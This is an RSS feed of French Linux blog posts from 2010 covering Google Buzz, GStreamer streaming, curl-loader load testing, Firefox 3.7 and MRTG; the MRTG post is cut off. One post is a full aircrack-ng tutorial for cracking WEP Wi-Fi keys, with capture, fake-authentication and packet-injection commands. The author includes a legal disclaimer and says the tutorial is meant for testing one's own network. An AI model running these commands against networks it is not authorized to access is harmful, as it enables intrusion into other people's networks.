<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Ziki - Contenu r&#233;cemment publi&#233; par Nicolas Hennion</title>
    <link>http://www.ziki.com/fr/nicolargo+24780</link>
    <pubDate>Wed, 17 Feb 2010 11:31:14 +0100</pubDate>
    <ttl>120</ttl>
    <description>Mon contenu chez Ziki.com</description>
    <item>
      <title>Je veux d&#233;sactiver Buzz</title>
      <link>http://blog.nicolargo.com/2010/02/je-veux-desactiver-buzz.html</link>
      <description>
        <![CDATA[<div class="post_content wiki_text"><p>
  Je dois avouer que le dernier service Google (Buzz pour ne pas le citer) m'a légèrement échauffé les oreilles. De retour de congés, le lien Buzz est apparu dans ma messagerie personnelle Gmail. De plus des mails (tagués Buzz) étaient envoyés automatiquement, un comble !
</p>
<p>
  Pourquoi Google n'a pas fait comme d'habitude en proposant cette nouvelle fonction dans les Labs ? L'aspect intrusif de Buzz dans ma messagerie est pour moi insupportable. Je ne suis manifestement pas le seul et devant le tollé général, Google a fait machine arrière et devrait proposer dans les prochains jours (d'abord au US puis ensuite en France et dans le reste du monde) une option pour désactiver Buzz.
</p>
<p style="text-align: center;">
  <a href="http://blog.nicolargo.com/wp-content/uploads/2010/02/S%C3%A9lection_040.png"><img title="Désactivation de Buzz dans Gmail" src="http://blog.nicolargo.com/wp-content/uploads/2010/02/S%C3%A9lection_040.png" height="259" alt="" width="530" /></a>
</p>
<p>
  Mon système de micro-blogging restera <a href="http://twitter.com/nicolargo">Twitter</a> et <a href="http://identi.ca/nicolargo/">Identica</a>, je continuerai cependant à utiliser Gmail pour ma messagerie personnelle, n'ayant rien trouvé de mieux (souplesse, rapidité, stabilité...)
</p>
<p>
  Et vous , quel est sont vos réactions vis à vis de la mise en place de Buzz ?
</p>
<div>
  <a href="http://blog.nicolargo.com/wp-content/plugins/as-pdf/generate.php?post=2742"></a>
</div>
<p>
  <a href="http://feedads.g.doubleclick.net/~a/wrEGLNKpYG55Y_rkffUYncAoDoM/0/da"><img src="http://feedads.g.doubleclick.net/~a/wrEGLNKpYG55Y_rkffUYncAoDoM/0/di" /></a><br />
  <a href="http://feedads.g.doubleclick.net/~a/wrEGLNKpYG55Y_rkffUYncAoDoM/1/da"><img src="http://feedads.g.doubleclick.net/~a/wrEGLNKpYG55Y_rkffUYncAoDoM/1/di" /></a>
</p>
<div>
  <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=b-59EEL-Tkg:AY3hhy2hn6M:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?i=b-59EEL-Tkg:AY3hhy2hn6M:D7DqB2pKExk" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=b-59EEL-Tkg:AY3hhy2hn6M:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=dnMXMwOfBR0" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=b-59EEL-Tkg:AY3hhy2hn6M:RW9bx_9rXgo"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=RW9bx_9rXgo" /></a>
</div>
</div>]]>
      </description>
      <pubDate>Wed, 17 Feb 2010 11:31:14 +0100</pubDate>
      <guid isPermaLink="false">tag:ziki.com,2010:/article/12031971</guid>
    </item>
    <item>
      <title>Cracker un r&#233;seau Wifi sous GNU/Linux</title>
      <link>http://blog.nicolargo.com/2010/02/cracker-un-reseau-wifi-sous-gnulinux.html</link>
      <description>
        <![CDATA[<div class="post_content wiki_text"><p style="text-align: center;">
  <a href="http://blog.nicolargo.com/wp-content/uploads/2010/01/S%C3%A9lection_011.png"><img title="Sélection_011" src="http://blog.nicolargo.com/wp-content/uploads/2010/01/S%C3%A9lection_011.png" height="147" alt="" width="495" /></a>
</p>
<p>
  Les réseaux Wifi envahissent notre quotidien. Force est de constater les techniques de protection de ces réseaux ont fait un bon en avant ces dernières années: WEP, WPA, WPA2... Cependant, il existe des solutions logicielles pour contourner ces protections. Nous allons en aborder quelques unes dans ce billet.
</p>
<p style="text-align: center;">
  <span style="color: #993300;"><span style="text-decoration: underline;">Attention</span>: Je&nbsp; décline toute responsabilité concernant l'usage de ce tutoriel par des personnes mal intentionnées. Je vous rappelle qu'il est formellement interdit de s'introduire sur un réseau sans l'accord de son propriétaire. Si vous souhaitez tester cette procédure, il est donc conseillé de le faire sur votre réseau Wifi et pas sur celui du voisin <img src="http://blog.nicolargo.com/wp-includes/images/smilies/icon_wink.gif" alt=";)" /> <span></span></span>
</p>
<h1>
  Crack de réseau Wifi WEP avec AirCrack-NG
</h1>
<p>
  Le principe est de capturer du trafic Wifi puis d'analyser le contenu de la capture pour y trouver le mot de passe WEP. Nous allons utiliser la suite logicielle <a href="http://www.aircrack-ng.org/">AirCrack-NG</a> (disponible sous GNU/Linux et Windows).
</p>
<h2>
  Installation de Aircrack-NG
</h2>
<p>
  Sur une distribution GNU/Linux Ubuntu, l'installation se résume à la ligne de commande suivante:
</p>
<pre>

sudo aptitude install aircrack-ng
</pre>
<h2>
  Capture du trafic Wifi
</h2>
<p>
  On commence par activer le "monitoring" sur l'interface Wifi (<strong>wlan0</strong>) dans mon cas:
</p>
<pre>

sudo airmon-ng start wlan0
Interface  Chipset    Driver
wlan0    Intel 4965/5xxx  iwlagn - [phy0]
(monitor mode enabled on mon0)
</pre>
<p>
  Cette première commande va créer l'interface virtuelle <strong>mon0</strong>, sur laquelle on va capturer le trafic Wifi. Avant de lancer la capture, il faut sélectionné le channel ID (réseau Wifi):
</p>
<pre>

sudo airodump-ng mon0
</pre>
<p>
  Cette commandes va afficher les réseau Wifi disponibles:
</p>
<pre>
<span style="color: #888888;"> CH 10 ][ Elapsed: 16 s ][ 2010-01-12 14:18                                         

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                 

 00:80:48:4F:2E:C4  -55       28        0    0   1  54 . OPN              WifiDeTest             

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes                      

 (not associated)   00:22:FA:FE:B5:6E  -72    0 - 1     30       10  </span>
</pre>
<p>
  On peut voir que le réseau (ESSID) <strong>WifiDeTest</strong> est associé au channel (CH) <strong>1</strong> avec l'adresse MAC (BSSID) <strong>00:80:48:4F:2E:C4</strong>. Notre PC effectuant l'attaque à comme addresse MAC (STATION) <strong>00:22:FA:FE:B5:6E</strong>.
</p>
<p>
  On peut ensuite capturer le trafic de ce channel spécifique, le résultat de la capture sera enregistré dans un fichier dont le préfixe commencera par <strong>dump</strong>:
</p>
<pre>

sudo airodump-ng --encrypt WEP -c 1 -w dump -i mon0
</pre>
<h2>
  Injection de trafic dans le réseau
</h2>
<p>
  Afin d'accélérer la phase précédente, il est judicieux d'injecter du trafic afin que la capture ait une taille conséquente. Les actions suivantes sont donc à faire en parallèle de la capture (c'est à dire dans un autre terminal).
</p>
<p>
  Nous allons dans un premier temps générer une attaque de type "fake authentification" sur le routeur Wifi. Cette étape est seulement nécessaire si un filtrage par @MAC est actif.
</p>
<pre>

aireplay-ng -1 0 -e WifiDeTest -a 00:80:48:4F:2E:C4 -h 00:22:FA:FE:B5:6E
</pre>
<p>
  La syntaxe est la suivante:
</p>
<p>
  <em>aireplay-ng -1 0 -e <strong>ESSID</strong> -a <strong>BSSID</strong> -h <strong>STATION</strong></em>
</p>
<p>
  On passe ensuite à l'injection du trafic, étape indispensable de ce hack:
</p>
<pre>

aireplay-ng -3 -e WifiDeTest -a 00:80:48:4F:2E:C4 -h 00:22:FA:FE:B5:6E
</pre>
<p>
  Le résultat est un fichier <strong>dump</strong>-01.cap. Plus la capture sera longue (et donc ce fichier gros), plus Aircrack-NG aura de chance de cracker le mot de passe WEP. La documentation conseille une taille minimum de 500 Ko (il suffit de faire des "ls -alF" dans le répertoire pendant que la commande précédente tourne pour voir la taille du fichier). Quand vous voulez arrêter la capture, faire un CTRL-C dans la fenêtre.
</p>
<h2>
  Analyse du dump
</h2>
<p>
  On se retrouve donc avec un fichier&nbsp;<strong>dump</strong>-01.cap de 500 Ko ou plus. Pour en faire l'analyse et trouver le mot de passe WEP, il faut utiliser la commande:
</p>
<pre>

aircrack-ng -b 00:80:48:4F:2E:C4 dump-01.cap
</pre>
<p>
  Ou&nbsp;00:80:48:4F:2E:C4 est à remplacer par l'adresse BSSID fourni par la commande "sudo airodump-ng mon0".
</p>
<p>
  On arrive au résultat suivant:
</p>
<pre>

...

Key found: [ AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA ]

Probability 100%
</pre>
<p>
  Il ne reste plus qu'à ce connecter "normalement au réseau WEP en utilisant cette clés !
</p>
<p>
  Enfin on arrête le monitoring de l'interface:
</p>
<p>
  On commence par activer le "monitoring" sur l'interface Wifi (wlan0) dans mon cas:
</p>
<pre>

sudo airmon-ng stop wlan0
</pre>
<h2>
  Conclusion
</h2>
<p>
  Comme vous pouvez le voir il est vraiment facile de cracker un réseau Wifi WEP, je vous conseille donc <em>de ne pas utiliser ce type de protection sur votre réseau domestique et encore moins professionnel</em>.
</p>
<h1>
  Crack de réseau Wifi WPA/WPA2 avec Pyrit
</h1>
<p>
  Contrairement à WEP, WPA et WPA2 demande beaucoup plus de ressource avant d'être cracker. C'est dans cette optique que le projet <a href="http://code.google.com/p/pyrit/">Pyrit</a> a vu le jour: proposer un algorithme de crack des ce type de réseau Wifi en utilisant la puissance de votre <a href="http://fr.wikipedia.org/wiki/Processeur_graphique">GPU</a>.
</p>
<p style="text-align: left;">
  Voici une petit démonstration en vidéo:
</p>
<p style="text-align: center;">
  <object height="344" width="425">
    
    
    
    
    <embed src="http://www.youtube.com/v/HY9Y99bOyhE&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en_US&amp;feature=player_embedded&amp;fs=1" height="344" width="425" />
  </object>
</p>
<p>
  Pour une procédure complète qui&nbsp;mélangent l'utilisation de AirCrack-NG (pour la capture et le filtrage du réseau à cracker) et Pyrit pour le hack par "brute-force", je vous conseille <a href="http://forums.remote-exploit.org/bt4beta-howtos/20095-pyrit-cuda-nvidia-tutorial-nvidia-overclock-instructions.html">la lecture de ce forum</a> ou <a href="http://www.crack-wpa.fr/tutoriel-crack-wpa-avec-airolib-ng.php">de ce billet</a>.
</p>
<div>
  <a href="http://blog.nicolargo.com/wp-content/plugins/as-pdf/generate.php?post=2580"></a>
</div>
<p>
  <a href="http://feedads.g.doubleclick.net/~a/zfCTBF8wa_jSp6jKHO8FN6odZT0/0/da"><img src="http://feedads.g.doubleclick.net/~a/zfCTBF8wa_jSp6jKHO8FN6odZT0/0/di" /></a><br />
  <a href="http://feedads.g.doubleclick.net/~a/zfCTBF8wa_jSp6jKHO8FN6odZT0/1/da"><img src="http://feedads.g.doubleclick.net/~a/zfCTBF8wa_jSp6jKHO8FN6odZT0/1/di" /></a>
</p>
<div>
  <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=y4qZSYP5vYU:PqdoP-cZu8Y:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?i=y4qZSYP5vYU:PqdoP-cZu8Y:D7DqB2pKExk" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=y4qZSYP5vYU:PqdoP-cZu8Y:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=dnMXMwOfBR0" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=y4qZSYP5vYU:PqdoP-cZu8Y:RW9bx_9rXgo"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=RW9bx_9rXgo" /></a>
</div>
</div>]]>
      </description>
      <pubDate>Wed, 17 Feb 2010 10:37:04 +0100</pubDate>
      <guid isPermaLink="false">tag:ziki.com,2010:/article/12031972</guid>
    </item>
    <item>
      <title>Streaming vid&#233;o SD avec Gstreamer</title>
      <link>http://blog.nicolargo.com/2010/02/streaming-video-hd-avec-gstreamer.html</link>
      <description>
        <![CDATA[<div class="post_content wiki_text"><p>
  <a href="http://blog.nicolargo.com/wp-content/uploads/2008/06/poster-bunny-small1.jpg"><img title="poster-bunny-small.jpg" src="http://blog.nicolargo.com/wp-content/uploads/2008/06/poster-bunny-small1.jpg" height="200" alt="" width="132" /></a>
</p>
<p>
  Nous allons dans ce billet essayer&nbsp;d'optimiser&nbsp;le streaming d'un flux SD sur un réseau local (LAN de 100 Mbps) en utilisant le framework GStreamer.
</p>
<h1>
  Environnement des tests
</h1>
<p>
  Deux PC Ubuntu connectés sur un même switch (100 Mbps full-duplex).
</p>
<ul>
  <li>PC serveur: ﻿Intel(R) Core(TM)2 Duo CPU P8400 @ 2.26GHz / 2 Go RAM
  </li>
  <li>PC client: ﻿Intel(R) Core(TM)2 Duo CPU E6750 @ 2.66GHz / 1 Go RAM
  </li>
</ul>
<p>
  GStreamer version 0.10.25.
</p>
<p>
  Vidéo source: <a href="http://mirror.bigbuckbunny.de/peach/bigbuckbunny_movies/big_buck_bunny_480p_stereo.ogg">Big Buck Bunny 480p</a>
</p>
<h1>
  Tests avec le codec X.264
</h1>
<pre>
Ligne de commande sur la machine générant le streaming (serveur):
</pre>
<pre>

serveur&gt; gst-launch -v \
        filesrc location="../Vidéos/big_buck_bunny_480p_stereo.ogg" \
        ! queue ! decodebin \
        ! queue ! videoscale method=1 ! video/x-raw-yuv,width=854,height=480 \
        ! queue ! videorate ! video/x-raw-yuv,framerate=\(fraction\)24/1 \
        ! queue ! x264enc byte-stream=true bitrate=2000 bframes=4 ref=4 me=hex subme=4 weightb=true threads=0 \
        ! queue ! rtph264pay \
        ! queue ! udpsink port=5000 host=192.168.29.150 sync=false async=false
</pre>
<pre>

</pre>
<pre>
Ligne de commande sur la machine recevant le streaming (client):
</pre>
<pre>
client&gt; gst-launch -v udpsrc caps="application/x-rtp, media=\(string\)video, clock-rate=\(int\)90000, encoding-name=\(string\)H264, payload=\(int\)96" port=5000 \
 ! queue ! rtph264depay \
 ! queue ! ffdec_h264 ! xvimagesink
</pre>
<p>
  <strong><span style="text-decoration: underline;">Résultat:</span></strong><br />
  <strong>Visuel</strong>: <span style="color: #ff0000;">vidéo saccadé (environ 2 img/sec)</span><br />
  <strong>Bande passante mesurée</strong>: entre 2 et 3 Mbps<br />
  <strong>Resource serveur</strong>: %CPU=135 / %MEM=5<br />
  <strong>Resource client</strong>: %CPU=10 / %MEM=2
</p>
<p>
  On ajoute un buffer juste avant le depay et le décodage (au niveau du client):
</p>
<pre>
client&gt; gst-launch -v udpsrc caps="application/x-rtp, media=\(string\)video, clock-rate=\(int\)90000, encoding-name=\(string\)H264, payload=\(int\)96" port=5000 \
        ! queue ! gstrtpjitterbuffer latency=3000 \
        ! queue ! rtph264depay \
        ! queue ! ffdec_h264 ! xvimagesink
</pre>
<p>
  <strong><span style="text-decoration: underline;">Résultat:</span></strong><br />
  <strong>Visuel</strong>: <span style="color: #ff6600;">vidéo beaucoup plus fluide mais variation de la gigue (accéleration de la video par moment). On a par contre un décalage de 3 secondes, donc inutilisable pour des flux lives.</span><br />
  <strong>Bande passante mesurée</strong>: entre 2 et 3 Mbps<br />
  <strong>Resource serveur</strong>: %CPU=140 / %MEM=6<br />
  <strong>Resource client</strong>: %CPU=14 / %MEM=2
</p>
<p>
  On modifie ensuite les paramètres d'encodage X.264 (au niveau du serveur):
</p>
<pre>
serveur&gt; gst-launch -v --gst-debug-level=2 \
        filesrc location="../Vidéos/big_buck_bunny_480p_stereo.ogg" \
        ! queue ! decodebin \
        ! queue ! videoscale method=1 ! video/x-raw-yuv,width=720,height=480 \
        ! queue ! videorate ! video/x-raw-yuv,framerate=\(fraction\)24/1 \
        ! queue ! x264enc vbv-buf-capacity=3000 byte-stream=true bitrate=900 subme=4 ref=2 bframes=1 b-pyramid=true weightb=true \
        ! queue ! rtph264pay \
        ! queue ! udpsink port=5000 host=192.168.29.150 sync=false async=false
</pre>
<p>
  <strong><span style="text-decoration: underline;">Résultat:</span></strong><br />
  <strong>Visuel</strong>: <span style="color: #008000;">Presque plus de sacade ni de variation de gigue. On a par contre un décalage de 3 secondes, donc inutilisable pour des flux lives.</span><br />
  <strong>Bande passante mesurée</strong>: entre 2 et 3 Mbps<br />
  <strong>Resource serveur</strong>: %CPU=120 / %MEM=4<br />
  <strong>Resource client</strong>: %CPU=10 / %MEM=2
</p>
<div>
  <a href="http://blog.nicolargo.com/wp-content/plugins/as-pdf/generate.php?post=2471"></a>
</div>
<p>
  <a href="http://feedads.g.doubleclick.net/~a/0PgqAzn8Qz5fiCRWWU8J283Sp_M/0/da"><img src="http://feedads.g.doubleclick.net/~a/0PgqAzn8Qz5fiCRWWU8J283Sp_M/0/di" /></a><br />
  <a href="http://feedads.g.doubleclick.net/~a/0PgqAzn8Qz5fiCRWWU8J283Sp_M/1/da"><img src="http://feedads.g.doubleclick.net/~a/0PgqAzn8Qz5fiCRWWU8J283Sp_M/1/di" /></a>
</p>
<div>
  <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=VR3ZttQeV4U:9WyRHmXmApc:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?i=VR3ZttQeV4U:9WyRHmXmApc:D7DqB2pKExk" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=VR3ZttQeV4U:9WyRHmXmApc:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=dnMXMwOfBR0" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=VR3ZttQeV4U:9WyRHmXmApc:RW9bx_9rXgo"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=RW9bx_9rXgo" /></a>
</div>
</div>]]>
      </description>
      <pubDate>Tue, 16 Feb 2010 11:03:11 +0100</pubDate>
      <guid isPermaLink="false">tag:ziki.com,2010:/article/12022189</guid>
    </item>
    <item>
      <title>Simuler des connexions HTTP/FTP simultan&#233;es</title>
      <link>http://blog.nicolargo.com/2010/02/simuler-des-connexions-httpftp-simultanees.html</link>
      <description>
        <![CDATA[<div class="post_content wiki_text"><p>
  <a href="http://curl-loader.sourceforge.net/">Curl-Loader</a> est un logiciel libre, écrit en langage C (le meilleur langage pour développer des applications réseaux),&nbsp;permettant de simuler sur votre serveur WEB ou FTP un grand nombre de&nbsp;connexions&nbsp;simultanées. Nous allons dans ce billet voir comment installer, configurer et tester ce logiciel dans un environnement GNU/Linux (Ubuntu 9.10 dans mon cas).
</p>
<h1>
  Installation de Curl-Loader
</h1>
<p>
  Comme il n'est pas encore (des volontaires ?) disponible dans les dêpots officiels, il va falloir compiler Curl-Loader à la main. Avant d'aller plus loin, on installe des pré-requis système:
</p>
<pre>

sudo aptitude install build-essential openssl libssl-dev
</pre>
<p>
  On commence par récupérer la dernière version disponible (0.51 au moment de l'écriture de ce billet):
</p>
<pre>

wget http://downloads.sourceforge.net/project/curl-loader/curl-loader/curl-loader-0.51/curl-loader-0.51.tar.gz?use_mirror=sunet
</pre>
<p>
  On décompresse et compile le tout:
</p>
<pre>

tar zxvf curl-loader-0.51.tar.gz

cd curl-loader-0.51

make optimize=1
</pre>
<p>
  On finalise l'installation avec:
</p>
<pre>

sudo make install
</pre>
<h1>
  Configuration de Curl-Loader
</h1>
<p>
  Tout est centralisé dans un fichier de configuration. Quelques exemples de fichiers de conf sont fournis avec les sources dans le répertoire ./conf-exemples/.
</p>
<p>
  Le plus simple est de partir du fichier ./conf-exemples/bulk.conf:
</p>
<pre>

cp ./conf-exemples/bulk.conf ~/curlloader.conf

cd ~
</pre>
<p>
  On édite le fichier pour l'adapter à son besoin (<a href="http://curl-loader.sourceforge.net/doc/faq.html">documentation&nbsp;exhaustive disponible sur le site officiel</a>)&nbsp;:
</p>
<pre>

vi curlloader.conf
</pre>
<pre>

########### GENERAL SECTION ################################

BATCH_NAME= bulk

CLIENTS_NUM_MAX=200

CLIENTS_RAMPUP_INC=5

INTERFACE=eth0

NETMASK=24

IP_ADDR_MIN= 192.168.29.148

IP_ADDR_MAX= 192.168.29.148

IP_SHARED_NUM=1

CYCLES_NUM= 100

URLS_NUM= 1

########### URL SECTION ####################################

URL=http://www.monserveurweb.com/

URL_SHORT_NAME="MonServeurWeb"

REQUEST_TYPE=GET

TIMER_URL_COMPLETION = 5000

TIMER_AFTER_URL_SLEEP = 500
</pre>
<h1>
  Utilisation de Curl-Loader
</h1>
<p style="text-align: center;">
  <strong><span style="color: #ff0000; text-decoration: underline;">Attention</span> à ne lancer Curl_Loader que vers un serveur qui vous appartient.<br />
  <span style="font-weight: normal;"><strong>Dans le cas contraire,&nbsp;cela&nbsp;peut être considéré comme une attaque par dénie de service !</strong></span></strong>
</p>
<p>
  Il ne reste plus qu'a lancer Curl-Loader avec ce fichier de configuration:
</p>
<pre>

sudo curl-loader -f ~/curlloader.conf
</pre>
<p>
  Que va faire l'exécution de Curl-Loader avec notre fichier de configuration ?
</p>
<p>
  On commence un cycle en envoyant sur le réseau 5 (CLIENTS_RAMPUP_INC) requêtes&nbsp;simultanées vers le serveur Web d'URL http://www.monserveurweb.com/(URL), puis 1 seconde plus tard, 5 requêtes de plus et ainsi de suite jusqu'à 200 (CLIENTS_NUM_MAX) requêtes simultanées. A la fin de ce cycle, on continu jusqu'à attendre le 100em cycle (CYCLES_NUM).
</p>
<p>
  A la fin du test on a les informations suivantes qui s'affichent:
</p>
<pre>

Test total duration was 54 seconds and CAPS average 231:

H/F   Req:24665,1xx:0,2xx:12332,3xx:12333,4xx:0,5xx:0,Err:0,T-Err:1,D:1ms,D-2xx:3ms,Ti:1343807B/s,To:56181B/s

H/F/S Req:0,1xx:0,2xx:0,3xx:0,4xx:0,5xx:0,Err:0,T-Err:0,D:0ms,D-2xx:0ms,Ti:0B/s,To:0B/s

Exited. For details look in the files:

- bulk.log for errors and traces;

- bulk.txt for loading statistics;

- bulk.ctx for virtual client based statistics.

- bulk.ops for operational statistics.
</pre>
<p>
  Pour la le lecture des rapports, voici un petit&nbsp;mémento:
</p>
<ul>
  <li>CAPS=call attempts per seconds;
  </li>
  <li>run-time in seconds;
  </li>
  <li>requests num;
  </li>
  <li>1xx success num;
  </li>
  <li>2xx success num;
  </li>
  <li>3xx redirects num;
  </li>
  <li>client 4xx errors num;
  </li>
  <li>server 5xx errors num;
  </li>
  <li>other errors num, like resolving, tcp-connect, server closing or empty responses number (Err);
  </li>
  <li>url completion time expiration errors (T-Err);
  </li>
  <li>average application server Delay (msec), estimated as the time between HTTP request and HTTP response without taking into the account network latency (RTT) (D);
  </li>
  <li>average application server Delay for 2xx (success) HTTP-responses, as above, but only for 2xx responses. The motivation for that is that 3xx redirections and 5xx server errors/rejects may not necessarily provide a true indication of a testing server working functionality (D-2xx);
  </li>
  <li>throughput in, batch average, Bytes/sec (T-In);
  </li>
  <li>throughput out, batch average, Bytes/sec (T-Out);
  </li>
</ul>
<div>
  <a href="http://blog.nicolargo.com/wp-content/plugins/as-pdf/generate.php?post=2715"></a>
</div>
<p>
  <a href="http://feedads.g.doubleclick.net/~a/9CgKUXnuo0ensnSPfm_HdBjDMDo/0/da"><img src="http://feedads.g.doubleclick.net/~a/9CgKUXnuo0ensnSPfm_HdBjDMDo/0/di" /></a><br />
  <a href="http://feedads.g.doubleclick.net/~a/9CgKUXnuo0ensnSPfm_HdBjDMDo/1/da"><img src="http://feedads.g.doubleclick.net/~a/9CgKUXnuo0ensnSPfm_HdBjDMDo/1/di" /></a>
</p>
<div>
  <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=YMids4suAZA:fMQ6SQrr8BY:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?i=YMids4suAZA:fMQ6SQrr8BY:D7DqB2pKExk" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=YMids4suAZA:fMQ6SQrr8BY:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=dnMXMwOfBR0" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=YMids4suAZA:fMQ6SQrr8BY:RW9bx_9rXgo"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=RW9bx_9rXgo" /></a>
</div>
</div>]]>
      </description>
      <pubDate>Mon, 15 Feb 2010 11:34:42 +0100</pubDate>
      <guid isPermaLink="false">tag:ziki.com,2010:/article/12020014</guid>
    </item>
    <item>
      <title>Firefox 3.7 sous Ubuntu (d&#233;p&#244;ts)</title>
      <link>http://blog.nicolargo.com/2010/02/firefox-3-7-sous-ubuntu-depots.html</link>
      <description>
        <![CDATA[<div class="post_content wiki_text"><p>
  Après Firefox 3.6.5, c'est la version 3.7 qui prendra le relai des navigateurs Web de Mozilla.&nbsp; Selon <a href="http://www.pcinpact.com/actu/news/54808-firefox-electrolysis-performances-javascript-processeurs.htm">PC INpact</a>, la principale nouveauté de cette version est l'intégration de la technologie d'Electrolysis:
</p>
<p>
  <span style="color: #808080;"><em>" Electrolysis a pour objectif principal de permettre à Firefox l’utilisation de tous les cœurs disponibles dans la machine. La grande majorité des machines vendues aujourd’hui dispose d’au moins deux cœurs d’exécution, sinon quatre. Le navigateur ne peut en utiliser qu’un seul. Ainsi, lors de l’affichage de certaines pages, la charge peut grimper à 100 % et déclencher la pleine vitesse du ventilateur, en particulier dans un ordinateur portable."</em></span>
</p>
<p>
  Il est déjà possible de tester cette nouvelle version (qui est actuellement en développement) sous son système d'exploitation GNU/Linux Ubuntu en suivant la procédure suivante.
</p>
<p>
  <a href="http://blog.nicolargo.com/wp-content/uploads/2010/02/3188.png"><img title="Firefox 3.7 Ubuntu" src="http://blog.nicolargo.com/wp-content/uploads/2010/02/3188-e1266055352921.png" height="364" alt="" width="580" /></a>
</p>
<p>
  On commence par ajouter le dépôts PPA officiel (les "daily builds" de Mozilla):
</p>
<pre>

sudo add-apt-repository ppa:ubuntu-mozilla-daily

sudo aptitude update
</pre>
<p>
  Ensuite on installe Firefox 3.7 (qui peut cohabiter avec des versions antérieures) avec la commande:
</p>
<pre>

sudo aptitude install firefox-3.7
</pre>
<p>
  Il ne reste plus qu'a lancer le navigateur en allant dans le menu "Applications" (Internet/Minefield 3.7 Web Browser) ou en ouvrant un terminal et en lancant la commande:
</p>
<pre>

firefox-3.7
</pre>
<p>
  Et voilà le travail !
</p>
<div>
  <a href="http://blog.nicolargo.com/wp-content/plugins/as-pdf/generate.php?post=2727"></a>
</div>
<p>
  <a href="http://feedads.g.doubleclick.net/~a/hmn7UVWF5n0fBIedfgJmNiNyveE/0/da"><img src="http://feedads.g.doubleclick.net/~a/hmn7UVWF5n0fBIedfgJmNiNyveE/0/di" /></a><br />
  <a href="http://feedads.g.doubleclick.net/~a/hmn7UVWF5n0fBIedfgJmNiNyveE/1/da"><img src="http://feedads.g.doubleclick.net/~a/hmn7UVWF5n0fBIedfgJmNiNyveE/1/di" /></a>
</p>
<div>
  <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=BdJhR-IbeOo:eQ0QzpkgxzQ:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?i=BdJhR-IbeOo:eQ0QzpkgxzQ:D7DqB2pKExk" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=BdJhR-IbeOo:eQ0QzpkgxzQ:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=dnMXMwOfBR0" /></a> <a href="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?a=BdJhR-IbeOo:eQ0QzpkgxzQ:RW9bx_9rXgo"><img src="http://feeds.feedburner.com/~ff/LeBlogDeNicolargo?d=RW9bx_9rXgo" /></a>
</div>
</div>]]>
      </description>
      <pubDate>Sat, 13 Feb 2010 11:03:09 +0100</pubDate>
      <guid isPermaLink="false">tag:ziki.com,2010:/article/11998390</guid>
    </item>
    <item>
      <title>MRTG, un tutoriel simple et rapide</title>
      <link>http://blog.nicolargo.com/2010/02/mrtg-un-tutoriel-simple-et-rapide.html</link>
      <description>
        <![CDATA[<div class="post_content wiki_text"><p>
  Si vous suivez ce blog, vous devez sûrement connaitre Cacti, l'outil permettant de générer des graphes visualisation via une interface HTML/PHP. La solution, <a href="http://blog.nicolargo.com/2009/01/le-serveur-de-supervision-libre-part-4.html">bien que simple à mettre en oeuvre</a> nécessite quelques manipulations. Nous allons voir dans ce billet une autre solution beaucoup moins lourde et simple à mettre en oeuvre: MRTG. Nous nous limiterons à la génération de graphes représentant la bande passante des interfaces réseau mais l'on peut bien sûr "grapher" toutes les mesures récupérables via SNMP. La machine qui hébergera notre MRTG est sous Unbuntu 9.10 (mais la procédure est globalement la mêmes sur les autres distribution GNU/Linux).
</p>
<p>
  <a href="http://blog.nicolargo.com/wp-content/uploads/2010/01/S%C3%A9lection_039.png"><img title="Sélection_039" src="http://blog.nicolargo.com/wp-content/uploads/2010/01/S%C3%A9lection_039.png" height="200" alt="" width="529" /></a>
</p>
<h1>
  <span></span>Installation
</h1>
<pre>
sudo aptitude install mrtg
</pre>
<h1>
  Création du répertoire Web
</h1>
<pre>
sudo mkdir /var/www/mrtg
</pre>
<p>
  Pour être propre, je vous conseille de créer un sous-répertoire par machine à superviser. Par exemple:
</p>
<pre>
sudo mkdir /var/www/mrtg/A.B.C.D
</pre>
<h1>
  Ajout d'une machine à superviser
</h1>
<p>
